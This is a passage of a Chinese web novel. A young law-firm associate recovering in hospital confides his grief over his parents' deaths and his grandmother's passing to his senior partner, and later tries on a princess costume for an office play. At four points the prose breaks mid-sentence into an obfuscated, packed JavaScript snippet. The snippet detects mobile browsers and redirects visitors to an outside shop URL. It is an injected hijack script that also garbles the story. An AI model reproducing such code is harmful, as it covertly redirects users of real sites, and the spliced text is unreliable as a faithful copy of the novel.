尹观庭走近几步，拍着背给他顺气，顺便给他背后塞了个枕头，好让他靠坐起来。 过了一会，严熤才缓了过来，他看着尹观庭，心口充斥着莫名的情绪：“师兄你……” 正对严熤病房的墙上挂钟指针指向上午十点，天霞那个并购项目时间紧任务重，他们本来打算昨天到那里后直接连夜整理，然后乘坐最早的航班回到C市，乐观的话还可以在机场睡上一两个小时。 但严熤病倒了，尹观庭一个人过去，工作任务只会更重，即使按计划回到了C市，恐怕也是一宿没睡。 尹观庭看上去依旧西装笔挺，可衣角处的褶皱，眼角的红意和眼下的青黑还是暴露了他的疲惫。 但他平静地站在严熤病床边，只字不提来去匆匆间的劳累：“你叔叔去处理家里的事了，你婶婶去帮你热饭，委托我在这看一会儿你。” “哦。”严熤摸摸鼻子，破天荒的不知道说什么。 他的寡言让尹观庭一挑眉：“烧傻了？话怎么这么少。” “咳，”我是病人，严熤用眼神控诉他，“天霞的事情……” “律所不是只有你一个实习律师，”尹观庭打断他，“你现在要做的事好好休息。” 严熤其实是想问问他是不是没休息直接就来医院了，为什么不回去休息好了再来……但不知为何，一向坦坦荡荡的他竟然问不出口。 房间里一时安静了下去。 病房门推开，一位中年女性走了进来，打破了两人之间的沉默，来人看见坐起身的严熤，惊喜出声：“哎呀闪闪，你可算醒了！还有没有哪里不舒服？” 严熤冲她乖巧地笑笑：“婶，我好多了。” 余婶连连点头：“那就好那就好，饿不饿，我给你煮了鸡汤，你先喝点。” 余婶一边说一边麻利地开始给严熤准备吃食，严熤欲言又止，最后还是没说话。 然后一转头就对上了尹观庭有趣的眼神：“闪闪？” “咳咳……”严熤又是一阵撕心裂肺的咳嗽。 尹观庭制止住手忙脚乱地余婶，仗着就在严熤身边的地理优势拍了拍他的背，还不忘问道：“叫个名字反应这么大？” 严熤咳得嗓子痛，一时间说不出话，只能有气无力地瞪他。 这个小名也不是狗蛋二剩这种恨不得藏一辈子的名字，亲朋好友这么叫他的也很多，但怎么从尹观庭嘴里叫出来就这么奇怪呢！ 不过严熤也没有深思，在吃完余婶送来的饭后，他花了一点功夫总算是劝住了打算在医院陪床的余家夫妇，哄着二老回了家。 等送走余婶，严熤总算松了一口气，他往枕头上一靠，冲着尹观庭笑了笑：“谢谢师兄，我基本上没什么大事了，你要不也先回去休息吧？” 刚刚要不是尹观庭顺势答应会照看严熤，余婶肯定不放心严熤一个人住院，严熤这个道谢真心实意。 “答应的事情自然要做到，这点契约精神我还是有的，”尹观庭走到床边坐下，拿起自己的笔记本电脑放在腿上，“下午我在这办公，晚上等你好点再走，你现在可以再睡一会儿。” “啊？”严熤脑子险些不会转了。 刚刚难道不是你配合我糊弄余婶吗？我何德何能让你一个高级合伙人放下工作来陪床啊！ 尹观庭看出严熤眼里的震惊，心情莫名好起来了，但他并不打算解释，而是问起了另外一个问题：“你为什么不想你婶婶来照顾你？” 严熤从刚才的震惊中抽离出来，沉默半晌：“我麻烦他们很多了。” 尹观庭皱眉，有些不理解他的纠结。余家夫妇应该就是余畅的父母，严熤能把自己的紧急联系人登记成余畅，显然和余家关系亲近非常，而且看余家夫妇的样子，对严熤也是发自内心的疼爱，严熤这莫名其妙的歉疚感是怎么回事？ 严熤显然不想多谈这个话题，起身抹了抹脸，说道：“我认真的，师兄你回去休息吧，我打算今天输完液就去办出院手续，明天可以正常上班的。” “我还没资本家到那个程度，”尹观庭瞥他一眼，“你现在这个样子怎么出院？” “真的没事了，我不想在医院待着，大不了之后再来输液嘛，师兄……”严熤眼巴巴地看着他，“你别跟余婶他们说，也别小看我的身体素质，感冒而已，很快就能好的。” 严熤从小深谙卖乖的门道，几乎很少有人扛得住他的软语哀求。 但尹观庭显然不是常人，尹律是那种可以在当事人撕心肺裂时仍然冷静分析问题的大佬，半点不受他影响：“你现在的身体状态没办法出院，万一晚上又发烧，你是指望我半夜再给你送一次医院吗？” 严熤：“……” 他对医院有心理阴影不假，但骨子里的涵养也确实不希望太过麻烦别人，何况在他的认知中，自己和尹观庭的关系一直都很微妙，说熟悉吧，好像也没熟悉到肆意麻烦人家的份上。 于是最终胳膊没能拗过大腿，严熤老实在医院住下了。 不知道该说先见之明还是该评价乌鸦嘴，严熤体温半夜又反复了一次，迷迷糊糊之间似乎有个人摸了摸他的额头，好像逝去多年的奶奶那样，在他生病的时候拍着他哄他入睡。 严熤一时间好像回到了乡下那栋三层别墅里，院子里种满了瓜果蔬菜，还有一只土狗蹲在门口，满头银丝的老人耐心地摇着蒲扇，炉灶上炖着他爱吃的排骨汤。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740064|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他走了几步，嗓子像被卡住一样：“奶奶……” 老人没有回答，看了看火候，用帕子垫着，把锅里的排骨倒出来，端着碗一边往屋子里走，一边喊着：“闪闪，来吃排骨。” 打开的屋门里没有一点灯光，黑黢黢地一片，老人就蹒跚着往里面走去。 严熤被一股巨大的恐慌裹挟住，忍不住喊出声：“奶奶，奶奶别走！别进去！” 可惜梦里什么声音都没有，老人直接走进了黑暗里，再也不见了踪影。 严熤从巨大的悲伤中醒了过来。 三人病房里只住了两个病人，另外一人睡得异常香甜，鼾声如雷，严熤盯着墙上的挂钟，半晌回不过神，直到一个柔软的东西贴上了他的脸，他才突然惊醒。 尹观庭站在他面前，手里拿着一张纸，上面还能看到一道水痕。 严熤：“……” 悲伤中混进了尴尬。 尹观庭没在意，皱着眉问他：“怎么哭了？” 为了不打扰到病房里的其他人，他声音压得很低，莫名比平时多出了不少磁性。 严熤这才注意到，尹观庭换下了一丝不苟的西装，穿了一件休闲POLO衫和牛仔裤，整个人不仅年轻了几岁，那股拒人于千里之外的气质消失了，整个人可亲了很多。 严熤不是第一次梦见奶奶，每一次醒过来之后他都会快速调整好情绪，不会让悲伤过度影响自己，可惜病中难免有些脆弱，他理智上知道应该让尹观庭回去休息，哪怕只是客气一下，但情感上还是不由自主地问道：“师兄，你能陪我出去走走吗？” “……”尹观庭看了看表，凌晨三点，他想拒绝，但严熤眼睛里的水光又让他无从开口，只能伸手贴了贴严熤的额头。 嗯，温度还算正常。 “你有力气起床吗？”他问道。 严熤先是被他的动作搞得愣了一下，下意识跟着摸了摸自己的额头，听到问话才反应过来，赶紧点头：“嗯，可以的。” 于是尹观庭带着穿了外套内搭病号服的严熤，溜出了病房区，到了大厅里。 C市人民医院新修的住院大楼异常气派，每一层都有一大片观景露台，种了些郁郁葱葱的植物，落地灯昏昏暗暗地照亮一小块地方，夜晚的风一吹，枝叶簌簌，影子都显得群魔乱舞。 尹观庭深感失策，这环境怎么看都不适合病人散步吧。 严熤没注意这么多，他机械地跟着尹观庭的脚步，眼睛不知道在看哪儿，毫无焦距。 最后两人走到了露台边缘，靠着栏杆，住院大楼楼下倒是熙熙攘攘，不知道哪儿出了事情，三辆救护车停在门口，人群来来往往。 沉默地看了半天，严熤终于开口了：“师兄你不问问我吗？” 其实我刚才问了。 但尹观庭显然不会这么说出来，他看了看身边面色苍白的青年，放柔了声音：“如果你想说的话。” “……”严熤沉默，过了一会儿，才轻声说，“我想我奶奶了。” 17. 第 17 章 家里出事之后，严熤很少再去回想那些无忧无虑的少年时光。 他虽然出身在一个小山村，但幸运地有一对脑子灵活的父母，外出务工从最基本的泥工开始，一步步成为小有门路的包工头，带着村子里的四五个年轻人组了自己的工程队，于是严家顺理成章地成了村子里的“首富”。 严熤两岁的时候，父母用积蓄在乡下修了一栋漂亮的三层小楼，是村里的地标性建筑，也是严熤的乐园。 他就像生活在城堡里的小王子，长得好看，又是父母富养出来的孩子，在县城读书，还有来自大城市的新鲜玩意儿层出不穷，惹得村子里的小孩又羡慕又嫉妒，但不管什么情绪，都会诚实地跟在他后面做跟屁虫，颇有种一呼百应的声望。 虽然父母在物质上不曾亏待他，但留守儿童心理上的孤独和叛逆往往很难避免，严熤也不是例外，初中之后，叛逆期到来的严熤开始拒绝读书，带着村子里的小跟班到处惹是生非。 严家父母鞭长莫及，唯一的长辈就是年迈的奶奶，老人十分疼爱这个擅长撒娇卖痴的小孙子，从来不说重话，每次严熤打架回来，老人只会煮上一锅他爱吃的排骨汤，然后絮絮叨叨半天之后，自己提着家里种的新鲜蔬果去道歉。 也就是因为老人的存在，严熤总算没有烂到根上，保持着一个不上不下的成绩，严家父母对他也没什么出人头地的要求，如果不出意外，严熤应该会考上一个技术学院学一门手艺，然后跟着父母去大城市打拼。 严熤对这样的未来不算讨厌，即使出于少年人莫名其妙的自尊心，他不愿意承认对父母的思念和依赖，但跟随父母一起工作毫无疑问是个很有吸引力的方案。 于是他虽然打架逃课，但成绩竟然保持住了，起码够得上专科的分数线。 但意外来得十分快，严熤刚上高一的时候，严家夫妻做工的工地发生了重大安全事故，包括严家夫妻在内的七个工人身亡，其中三个是工程队里的年轻人，也是村里的邻居。 本就不合规的分包商一推四五六，直接把锅甩到了严熤父母身上，除了村子里的受害者，其他人找不到人赔偿，绝望之下把矛头对准了严家仅剩的一老一少。 突如其来的变故几乎打懵了少年的严熤。 他再怎么自诩长大了，也不过是在父母羽翼下庇护的花朵，对父母的怨恨和思念突然无所寄托，本就可以摧毁一个人的精神，更不要说还有来势汹汹讨要赔偿的受害者，村子里无法遏制的流言蜚语……严熤差点没能撑下来。 这个时候一个女人几乎像是救世主一样地出现了。 “郭庆梅律师，师兄知道吗？”严熤靠着医院的围栏坐下来，脑袋枕在膝盖上，歪头看着尹观庭。 尹观庭有些惊讶，他当然认识，这位律师在行业里可太有名了。 郭庆梅本来是C市一家老牌律所的高级合伙人，谁都不知道功成名就的她怎么突然开始做公益诉讼了。她最出名的案子是无偿帮助一个工程项目几十位农民工讨要到了自己的工资，在那个农民工讨薪还是大难题的时代，郭庆梅几乎是劳动人事方面的传奇，是C市律协专门表扬过的公益律师。 “梅姨帮了我们很多。” 郭庆梅意外得知了这个事故，本来是想搜集一下证据再和身亡工人的亲属沟通一下维权事宜，结果就见其中一家人气势汹汹地要去C市下辖的某个小村子里寻仇，不安之下跟了过来，于是见到了年少的严熤和年迈的严奶奶。 郭庆梅劝下了其他受害者，成功成为了七个受害人的代理人，一方面以重大安全事故罪报案，利用刑事程序逮住了在外省避灾的工程负责人，一方面雷厉风行地收集证据准备文件提起了诉讼，郭庆梅还是个很擅长运用舆论力量的律师，加上那个时候对律师的管控还不是很严格，她成功引爆了当时舆论，重重压力之下，工程相关方几乎被查了一个遍。 偷工减料的分包商负责人很快进去了，刑事案件不到六个月光速结案，然而附带民事的赔偿执行却花了接近三年。 层层转包的分包商断了追索赔偿的链条，郭庆梅花费了大量的精力梳理背后的股权关系，想方设法地突破转包和公司有限责任带来的限制，东奔西跑地收集证据，提供执行线索，纵使这样，最终也只能帮七个受害人拿回一百多万的赔偿，平均下来一家还不到二十万。 严熤在那两年中以难以想象的速度成长起来。 他独自处理了父母的后事，替父母向村里失去儿子/女儿的邻居赔罪道歉，照顾打击过大生病的奶奶。他不再吊儿郎当地打架逃课，用学习和试卷塞满了业余的生活；而后来追偿很不顺利，受害人中又有生活条件极差的家庭，严熤把父母留下的几笔的存款给了出去，于是他开始在学校周围的小餐馆里兼职，剩下一点休息的时间也没有了。 最累的时候，他看着报纸上工程负责人的照片，无数次模拟下刀的位置，他甚至打听到了这个负责人有一个在C市十七中读书的女儿。 如果不是郭庆梅……这位强大但温柔的女性有着超乎寻常的敏锐，她察觉到了严熤掩饰地极好的恨意，在忙碌的工作中始终没忘记跟他保持联系，她给严熤指了一个方向。 “严熤，你想办法考上一个法学本科，去学习法律的基本原则和逻辑，搞明白为什么那个开发商可以不对你父母的逝去负责。 “我知道你不甘心，我也不甘心，我无法改变法律规定，但也许你可以，只要你考进R大，考进中国最好的法学院，那你有一天或许能站在立法会议上，去修改那些你无法理解的制度。” 严熤失去父母的头两年，郭庆梅代替了父母和老师的位置，拉住了他摇摇欲坠的理智，严熤高中憋着一口气拼命学习，最终成功考进了R大。 郭庆梅十分高兴，她还给严熤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740065|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带来了另外一个好消息，执行回款的一百多万终于分配了，严熤家里拿到了近四十万的赔偿，不论是严奶奶还是严熤都松了一口气。 三年过去，严奶奶也从失去儿子儿媳的悲痛中走了出来，奶奶身体好了很多，严熤也放心地前往帝都读书。郭庆梅把他推荐给了自己在R大当老师的同学，严熤因此进入了李明光教授的视野，他本就聪明，经过这样的事情性子也沉了下来，李教授很是喜欢，觉得他是做学术的好料子。 顺利的话，他会在李明光门下直博，然后留校任教，十几年后，他会继承老师的学术衣钵，或许真的能像郭庆梅说的那样，有一天站在立法的会议上，提出自己的立法建议。 尹观庭始终沉默地听他诉说，不期然想起他曾经对严熤说过“没有做好当一个律师的准备”，他一般很少为自己说出的话后悔，但现在却隐隐感受到了悔意。 有郭庆梅这样的导师在前，严熤怎么可能没有做好当律师的准备。 他看着面前有些脆弱的青年，终于问出了一直以来的疑问：“当时你们拿到了接近四十万的赔偿，你大学为什么会差点因为经济问题退学？” “……？”严熤有些惊讶地看着他，显然不明白他为什么会知道这件事。 不过尹观庭没有解释的意思，严熤也没有深究。他几乎没有和人倾诉过往事，亲近的家人朋友在父母出事后几乎把他当瓷娃娃，他也不好意思用让他们担心，但尹观庭……一个西装革履的身影出现在严熤脑海里，周身透着一股从容不迫地气势，令人信服。 这个身影和面前这个一身休闲眼含关切的身影重合，严熤封闭很久的倾诉欲突然就被打开了。 “我大二的时候，奶奶病了，肝癌，发现的太晚了，已经救不回来了。” 严熤说得异常平静——该崩溃的情绪早就崩溃过了——现在除了平淡的思念和悲伤，情绪起伏已经很不明显了。 当时严熤抱着最后一丝希望，把父母的赔偿款全部用来救治，然而情况恶化的很快，最终在大二下半学期时，奶奶去世了。 严熤守在病床前，听着老人最后的叮嘱： “闪闪，听话，你要一辈子开开心心的。” 严熤所有的情绪哽在喉咙间，紧紧握着老人的手，然后看着她慢慢地停止呼吸。 我一定会一辈子开心的。 他跪在奶奶病床前，对自己说。 “后来的事情就很简单了，我给不起学费，找李老师帮忙……” 李明光帮他申请了困难补助，还难得走后门，把严熤塞进了自己一个博士的律所里——那是一家中外合资所——给实习生的薪资异常大方。 严熤一边为保研做准备，一边在律所里当苦力，最后用平均每天四个小时的睡眠换来了还算丰厚的薪资，好歹支撑他读完了研究生。 只是最后没有再选择读博士。 18. 第 18 章 半夜天台谈心的结果就是严熤本来稳定下来的病情又一次反复，作为帮凶的尹观庭只能木着脸听医生的念叨。 而上午查房输液搞得差不多的时候，王信鸿不请自来了。 说起来严熤不是会诉苦的性格（撒娇除外），尹观庭更是冷言少语，王大主任在律所里找不到心腹爱将，还是从行政那里看到了请假条才知道严熤病了，还得自己跟人打听半天才找到病房。 所以一进门对着严熤就抱怨上了：“李老师让你别跟我客气，你就是这么完成老师嘱托是吧？病成这样都不记得跟我这个师兄说一声？唉……这队伍真的是很难带啊！” 严熤：“……对不起主任。” “你跟他道什么歉，”尹观庭嗤之以鼻，“你最近难道很闲？” “啧，”王信鸿很是不满，“闲不闲的是另外一回事，关键这事怎么都没人告诉我一声，回头李老师问起来还以为我不关心小师弟呢！” 尹观庭有些困倦，懒得跟他掰扯：“差不多得了，人你也看过了，还活着，有事没？没事一起走吧。” 王信鸿今天的主要目的还真是为了找尹观庭，看望严熤只是顺便，闻言也不多待，两人确定严熤下午不用输液也没有检查之后，相继出了病房门。 等坐进车里，王信鸿脸上的笑容才收起来，说起正事：“宏远那个项目，先等等看。” 尹观庭停下揉内眼角的手：“他们之前不是很着急吗？” 要不然也不会让团队里的律师加班加点，工作压力直接拉满，严熤这次生病也有工作太忙太过劳累的原因。 “啧，谁说不是呢，”王信鸿也很烦躁，“但现在他们内部出问题了，张宏这边是一派，还有个姓谭的股东，他跟张宏一直合不来，现在通过股东会上施压，想要把清溪村项目的主导权拿回去。” “张宏持有宏远母公司35%的股份，已经是第一大股东了。” “是啊，但是姓谭的联合几个股东，持股比例也超过了35%，就算决定不了什么事情，也能保证张总想做的事情一件都干不成。” 尹观庭皱眉：“那跟我们有什么关系，说到底我们代理的是宏远不是张宏。现在清资管逼着他们撤场，这边程序不抓紧启动，想办法固定证据，等着撤场之后一问三不知吗？” “道理是这么个道理，”王信鸿无奈，“但是那位谭总就觉得我们跟张宏是一伙的，他想要换一家律所入场。” “……”对这种奇葩尹观庭也无语了，“代理合同签了，律师费付了，他想要换律师是打算把前期这一百万直接送我们吗？” 王信鸿乐：“要真是这样那我还着什么急，他现在就想逼着张宏找我们退律师费。不过张宏是不想折腾的，就看他怎么说服宏远的其他股东，不知道会不会搬出你大哥来。” “光源不会涉及地产的，尹观澜没那么蠢，所以在这个事情上他没什么面子。” “也是。哦对了，这几天你还是注意一点清溪那边的动静，据说姓谭的把工地锁起来了，天天安排人巡逻，下家单位来人勘测就给人轰出去，是打算和清资管刚到底了。” 尹观庭：“……行。” 声音冷漠，听在王信鸿耳朵里就是大写“傻逼”两字。 王信鸿忍不住乐：“算了算了，反正他们不着急我们也用不着上火，倒不如考虑一下今年的周年庆要怎么安排。” “嗯？”尹观庭这才想起来，现在已经是九月初了，月底就是天人和律所成立十年的纪念日了。 “我没什么安排，看行政吧，”他拿出手机看了看日历，“不过今年中秋就在月底，和国庆一起放假，最好不要安排太多，不然搞得天怒人怨的。” 王信鸿点点头：“我寻思着呢，宏远这个事情掰扯完了也差不多是月底了，而且明河的股东大会、律协宣传月……事情太多，估计得加班了，所以我打算下下周就安排一次团建，带着我们团队的人去三亚，玩七天，回来之后正好周年庆典，要是没事呢，就放他们去过节，要是有事就给我老实加班。” 尹观庭其实不太关心，随意点了点头：“嗯。” 王信鸿看了看他：“我跟你说这个意思就是让你带着严熤一块来。” 尹观庭：“……？” “你那什么表情？今年多有纪念意义，而且还是小严第一年来律所，难得有一个你能接受也受得了你的助理，肯定得把人留下，你难不成还想跟过去似的，自己一个人忙到饭都没空吃？” 尹观庭：“……” 尹观庭：“有严熤在我也会忙得没空吃饭。” “那不重要，”王信鸿大手一挥，“总之这次我跟小周说过了，她订机票和房间都把你俩算上的，九月十八号出发……到时候小严的病应该能好了吧？” 小周就是王信鸿团队的秘书。 尹观庭对他这种擅自安排只觉得脑袋疼。 不过王主任显然不需要他回答，自顾自地接了下去：“算了算了，到时候看看，总之你给我把人通知到位听见没。再说了，你也好久没有出去散心了，劳逸结合懂吗……” 伴随着王信鸿一路絮絮叨叨，尹观庭靠在副驾驶上睡了过去。 严熤只在医院住了一周，出院前还做了一大堆检查，饶是他一贯花钱大方，也被医药费心疼的够呛，说起住院费还一副心有戚戚的样子。 尹观庭有些好笑：“医药费花这么点儿这么心疼，点外卖倒是大方。” “什么叫这么点儿？”严熤眼神幽幽，“七千多，已经是一个月的工资了好吗？” 尹观庭挑挑眉：“这是嫌弃我给的工资少了？” 严熤一秒坐端正：“没有没有，已经很多了！” 尹观庭刚想说什么，电话响了，他拿起手机一看——宏远集团的副总杨繁——忍不住就是一皱眉头，这位是谭总安排驻守工地的头头，张宏张总不知道和自己这位合伙人达成了什么交易，目前总算不吵着要换律师了，但是要了尹观庭的联系方式，美其名曰加深了解，于是导致杨繁有事没事就给尹观庭打电话，烦不胜烦。 尹观庭放下碗筷，按下免提，接通电话。 那边很快传来了一阵咋咋呼呼的男声：“哎呀尹律师，这要怎么办啊……” 尹观庭面无表情，听他比比的途中，忍不住掏出了烟，示意了一下严熤。 他烟瘾不算重，但是烦躁的时候就会抽，只不过很少在同事面前抽，一般都会到律所专门的吸烟室去。后面和严熤熟悉了一些，在严熤表示不介意的情况下他也不再十分注意这方面。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740066|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>然而平时温顺表示自己不在意的严熤想都没想，直接把尹观庭拿出来的烟收走了，对着尹观庭比了一个“少抽烟”的口型。 尹观庭：“？” 他愣住了，自从成年后，不管是作为尹家二少爷还是作为尹律师，几乎没人再管他抽烟这回事，这还是第一次被人当面抢了香烟。 “尹律师？尹律师您在听吗？喂喂？” 尹观庭来不及多想，隔空点点严熤，赶紧回话：“嗯，我在听。” “噢噢噢，是这样的，我们谭总说……” 严熤给了他一个笑眯眯的表情，然后手脚麻利地收拾桌上的饭盒，又到自己工位上把电脑拿了过来。 三天内这个杨总已经给尹观庭打了不下四个电话了，每次打完都有事情要做，说白了这货就是不想自己担责，干什么事情都想要律师给他出一个法律声明。 尹观庭没惯着他，基本都会打太极推出去，但是严熤得对尹观庭的工作内容做记录，同时要计算时间，以便后期计算专项服务的收费时长。 等严熤拿上电脑回到尹观庭的办公室，电话那边正好传过来一句：“现在我是担心华鑫那边找工人来闹事，您是不知道啊，这些农村来的泥腿子，闹起事一套一套的，我们动一下就要被敲诈……” “行了杨总，”尹观庭直接打断了他剩下的话，“具体的细节我已经跟谭总沟通过了，这件事拖着对我们没有好处，我们的建议还是之前说过的，尽快固定证据然后退场，有问题法庭上解决，您有时间的担心这个担心那个，不如敦促资料员赶紧把材料给我们。” 杨繁被他毫不客气的语气弄得一噎，声音不由弱了下去：“是是是，这不是在收集着呢嘛，就是我想……” “您不用想，我说过了，我们没有办法对一个不涉及法律的事情出具意见。我记得谭总跟我保证的是本周五就可以把资料整理出来，假如周五我们没有收到资料，那我只有如实转告谭总了。” “啊？这……” “嗯？还有什么是我没说清楚的吗？” 尹观庭声音平静冷淡，用词虽然客气，但就是莫名有种班主任训话的既视感，起码杨繁是讷讷无言，客气了一会儿就挂了电话。 尹观庭放下手机，下意识抬手摸烟，摸了个空，这才想起来烟被严熤拿走了。 这件事还没算呢，一抬眼就看见严熤站在门口沉思，尹观庭顿了一下，果断把烟这件事忘了，然后开口说道：“他刚刚说的话你不用放在心上。” 正在想刚刚那个电话要怎么计时的严熤：“什么？” 尹观庭仔细看了看他的表情，微微颔首，才开口回道：“没什么，这次就不用计时了。宏远这个事情还有得拖，今天你先修改一下天霞的尽调报告。” “哦，好的。” 严熤放下电脑，打开尽调报告初稿等着尹观庭说修改意见，突然反应过来尹观庭为什么要说那句话，他应该是知道了自己的父母是农民工，怕他因为杨繁骂农民工的话难受。 电脑屏幕挡住了尹观庭的下半张脸，无框眼镜背后是一双认真清亮的眼睛，不笑的时候严肃凌厉，透着种拒人千里之外的气质。 大家都说师兄是大魔王，这评价其实不太对。严熤想。 他明明很温柔。 19. 第 19 章 在严熤埋头加班的时候，律所的周年庆典已经如火如荼地搞了起来。 按照惯例，每位合伙人团队都应该报送一个节目，主要就是重在参与和看人社死，属于团队破冰的常见手段。 以往这种事情跟尹观庭是没关系的，尹律和王主任是薛定谔的一个团队，一般那种无聊又浪费时间的活动，比如律协要求每个律所每个团队都要举行一次的纪律学习会，那就是我和王主任是两个团队，你们团队培训关我何事；而像周年庆这种每个团队都要出节目的环境下，那就是我和王主任一个团队，你出等于我出。 主打一个左右横跳省时省力。 王主任就跟一个被渣男PUA的小媳妇一样，每次都叫嚣着这是最后一次帮你，然后任劳任怨地替尹观庭背锅。 不过往事不可追，尹观庭今年不是孤家寡人了，王信鸿一开始就给团队里的几个小姑娘下达了指令，管你们要出什么节目，把尹观庭和严熤给我拉上。 要是以前尹观庭早就拒绝了，但这次王信鸿扯着李教授的虎皮做大旗，打着要带严熤融入律所的旗号，道德绑架一套一套的，尹观庭浪费了半个小时听他念叨之后，果断选择答应保耳朵平安。 最后几个女律师们商量出来的节目是话剧，剧情主打一个无厘头轻喜剧，大概就是一个矮小的王子爱上了高壮的公主，两人突破世俗审美在一起的故事。 其中国王王后大臣之类的角色很快分配完毕，尹观庭拿到了公主的礼仪老师这个角色，主要作用就是开头跑三分钟龙套，教训高大的公主行走要符合淑女规范。而严熤是王子身边的护卫，作用就是当好一个花瓶。 男主角也很快定了下来，就是主任团队的小陶律师。 没错，这个节目最大的看点就是王子公主都是性转版的！ 小陶不到一米六，个子娇小，五官圆润端庄，是很符合中式审美的小美人，换上一身骑士装扮后，还真有几分设定里矮小但飒爽的形象。 然而谁来出演公主就成了大问题。 主任团队一个十一个人，抛开王信鸿和大李律师这两位不惑之年的男士，剩下的九个人里只有三个男生，站在小淘身边能看出喜剧效果的就只有昵称胖哥的郭伟成——身高一米八体重两百。 然而在试衣服的时候出现了问题，周舟（团队秘书兼本剧导演）找到的租借衣服的影楼虽然有一米八的宫廷长裙，但是显然容纳不下胖哥的小肚子，于是就这么僵住了。 在努力半天发现胖哥确实没办法穿上那身华丽的长裙，导演组——也就是主任团队的几位女律师，凑在一起开始了交头接耳了一阵，大家一致决定，公主让严熤上，把胖哥换去当侍卫。 用小陶的话说就是，周年庆不就图个乐呵吗，所以节目效果得爆炸，小严那张脸穿上女装肯定好看，能在律所当一年新闻的那种好看，既然如此还要什么自行车！ 对此毫不知情，正在专心致志工作的严熤：“……” 这种浑身一冷的感觉是怎么回事？ 距离团队旅游还有三四天，王信鸿和尹观庭都不约而同地减少了最近的工作量，开始安排度假期间的常规事务处理，对团队的管理放松了一些。 王信鸿团队本来氛围就很好，这一放松大家更加放飞自我了，尤其是那个剧本定下来之后，每天都听到几个女生叽叽喳喳地角色扮演，十分热闹。 然而今天似乎是热闹过了头，尹观庭本来在自己办公室和一个客户开视频电话会议，结果外边一阵接一阵的惊呼，惹得客户忍不住出声询问发生了什么事情。 尹观庭无奈，只能暂停会议，起身出门，打算看看这帮小崽子在闹什么。 出门才发现左右几个办公室的合伙人都出来看热闹了，而在众人视线中央的，是一抹高挑的蓝色身影。 齐胸的礼服华美又不失含蓄，高挑的身形撑起了长长的裙摆，细腰之下是层叠繁复裙摆，及腰的金色头发柔顺飘逸，鬓边垂下的几缕发丝，映得脸颊肩颈一片雪白。严熤脸上化了妆，遮去了凌厉英气的部分，于是精致无害的气质被无限放大，他有些无措地站在那里，似乎真的是因为走错了路而惊慌的公主。 尹观庭看着他，呼吸不由自主地放轻了。 比起他的克制，女孩子们的惊艳就直接多了，刚刚把尹观庭从办公室吵出来的动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740067|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静就是她们发出来的，一阵一阵抑制不住的尖叫几乎充斥了整个办公室。 饶是以严熤说穿女装就穿女装的脸皮，也有些扛不住。 “好了好了，衣服我试了，可以了吧！我去换掉了！”声音颇大，很有些恼羞成怒的意思。 跟他混熟了同龄人们根本不怕。 “别呀别呀，让我拍个照，妈耶小严你比影楼的模特好看多了！”小陶笑嘻嘻地提着裙摆，一手拿着手机，靠在严熤身边，“快来快来，拍照！” “我也要我也要！” “等下，还有我！” 严熤身边瞬间围了一堆女孩子，要是平时他还能调侃一下温香软玉的包围圈，但现在穿着一身超重又行动不便的大裙子，只有说不出来的尴尬，恨不得马上来个人拯救一下他。 救星很快就来了。 “各位，差不多可以了，我这里还有一个电话会议，希望你们保持二十分钟的安静，可以吗？”平静的声音响起，打断了合影的众人，大家看了看说话的人，互相对视一眼，很自觉地散开了。 严熤虽然获救了，但看着尹观庭，只觉得更尴尬了，甚至有种手脚都不知道哪里放的感觉。 好在尹观庭还保持着良心，没发表什么评价，只是问他：“你不去换了？” “我这就去！”严熤如梦方醒，转身就想走，然而着急之下忘了自己穿着长裙，一脚下去踩到裙边，直接往前摔了过去。 手上及时传来一个力道，严熤借着力量站稳，惊魂未定地看了看，拉住他的是尹观庭。 尹观庭顺手一扶他的腰，让他回归站立的正常姿态，这才撒开手，还不忘交代一句：“小心点，赶紧去换了，不然一会还摔个工伤。” 严熤忍着别扭，道谢之后赶紧去卫生间把衣服换了，穿上自己的西装之后才长舒一口气，看着洗手台上一大坨衣服，心有余悸。 